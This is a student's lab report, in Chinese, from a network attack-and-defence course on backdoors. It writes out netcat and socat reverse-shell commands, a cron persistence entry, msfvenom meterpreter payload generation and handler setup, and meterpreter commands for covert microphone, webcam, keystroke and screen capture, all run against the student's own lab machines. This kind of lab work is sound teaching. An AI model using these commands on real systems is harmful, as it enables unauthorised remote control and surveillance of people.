• 20192401 王麦齐 《网络与系统攻防技术》实验二 后门原理与实践


    一、实验内容

    1、使用netcat和socat获取主机操作Shell,以成功启动某项任务作为实验成功的标准;
    2、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
    3、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
    4、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    二、实验过程

    实践一:使用netcat获取主机操作Shell

    该实践首先需要获取Windows系统的ip地址,然后在windows的powershell(或者cmd等shell中)使用ncat的监听模式,再连接到kali系统中即可。
    (1)使用netcat获取主机Shell,并cron启动某项任务。
    首先测试主机与Kali虚拟机之间的连通性,如下图所示:


    kali与主机的连通性

    主机与kali机的连通性
    接下来输入:

    
     ncat.exe -l -p 8888  # 开启监听模式,监听端口8888
    

    打开Kali系统的终端,输入:

    
    nc 192.168.43.201 8888 -e /bin/sh
    
    # 把/bin/sh通过e参数绑定,并开启监听,那当我们使用远程主机连接到这台主机时,就相当于获得了一个shell
    

    如下图,即可获取Kali的shell,输入命令可以正常运行:

    测试传递信息:

    1.使用netcat获取主机操作Shell,cron启动

    (1)在Linux下输入 crontab -e 添加cron任务区,选择编辑器3。

    crontab -e 
    crontab: installing new crontab
    "/tmp/crontab.04YrRd/crontab":23: bad day-of-week
    errors in crontab file, can't install.
    Do you want to retry the same edit? (y/n) y
    crontab: installing new crontab
    

    在最后一行添加

    
    23 * * * * /bin/netcat 192.168.43.201 8888 -e /bin/sh 
    

    其中的23 * * * *代表的是时间,分别为分钟 小时 日期 月 周几,后面为要运行的命令
    然后ctrl+X,选择Y Enter 保存并退出。(表示每小时的第23分钟反向链接Windows主机的8888端口)

    此时输入ls操作可以唤出界面,由此我们得到了一个最为简易的后门,但是是乱码这个情况还要进一步探究。

    2.使用socat获取主机操作Shell, 任务计划启动

    (1)Windows->控制面板->管理工具->任务计划程序->创建任务


    程序或脚本:socat的安装路径\socat\socat.exe
    参数:tcp-listen:2401(本人学号) exec:cmd.exe,pty,stderr
    此时虚拟机输入

    ┌──(wmq㉿kali)-[~]
    └─$ socat - tcp:192.168.43.201:2401 
    


    就此,我们获得了windows的shell

    3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    (1)虚拟机生成可执行文件

    
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.60 LPORT=2401 -f exe > 20192401.exe
    

    (2)传输后门程序

    在Windows端cmd输入

    
    ncat.exe -lv 2401 > 20192401.exe
    

    使被控主机进入接收文件模式.
    在Linux端输入

    
    nc 192.168.43.60 2401 < 20192401.exe 
    

    将生成的后门程序传送到主机上。

    (3)MSF开始监听进程

    在Linux上使用msfconsole 进入msf控制台依次输入

    
    use exploit/multi/handler         //监听设置payload
    
    set payload windows/meterpreter/reverse_tcp       
    set LHOST 192.168.43.60  //虚拟机的IP地址
    set LPORT 2401 //端口号
    exploit    //监听Action
    

    主机端运行后门程序,返回虚拟机发现已经获得主机端的shell:



    我们键入ipconfig

    4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    获得录音权限,后面的数字代表时间,8s
    record_mic -d 8
    获得摄像头权限
    webcam_snap
    获取击键记录
    keyscan_start
    keyscan_dump
    获取截屏权限
    screenshot
    查看当前用户
    getuid
    

    下面是我的一些尝试


    三、实验中遇到的问题及解决方法

    问题一:在对应文件目录下,无法执行ncat

    这个问题最开始很头疼,shell无法执行,但是cmd却可以

    然后我再cmd中尝试时,却意外地可以启动ncat,但是每当执行
    ncat.exe -l -p 8888的时候却一直处于“停止”的状态,键盘无法输入,但是却可以录入字符串,此时按下ctrl c中断此操作时会出现之前输入的字符,但是无法执行。
    然后我积极的在网上寻找答案,胡乱配了一个环境变量,也没成功,不过话说回来,环境变量这个坑我也没填,到现在环境变量是啥我都不是很明白,赶紧解决!
    后来我发现有个下面有个提示:

    按照上面的操作,我恍然大悟,原来答案就在我身边,一定要多看suggestion!!!!

    四、实验感受

    作为一个电脑为家的大学生,见到虚拟机和cmd仍然头疼的很,这次在第一部ping的时候就很不顺利,后来在调试kali的网络设置时发现nat和桥接两个不同的策略,桥接类似于内部交流,而nat是走向外部的方式,从两台机子可以ping通开始,我就觉得没什么能难得到我,然后....ncat又在shell里面没法用,要不是解决的真的好想哭,最开始又是配环境变量又是瞎调试,百度和CSDN真的是衣食父母,最后感谢老师带我们进行了这次实验,用摄像头什么的真的太刺激了,还有录音哈哈哈哈,期待下一次实验!!

  • 相关阅读:
    js中如何在不影响既有事件监听的前提下新增监听器
    史上最走心webpack4.0中级教程——配置之外你应该知道的事
    webpack4.0各个击破(10)—— Integration篇
    webpack4.0各个击破(9)—— karma篇
    webpack4.0各个击破(8)—— tapable篇
    webpack4.0各个击破(7)—— plugin篇
    MYSQL的安装
    数据库的分类
    python接口调用把执行结果追加到测试用例中
    python分布式接口,参数化实战二
  • 原文地址:https://www.cnblogs.com/wangmaiqi0206/p/16087464.html
Copyright © 2020-2023  润新知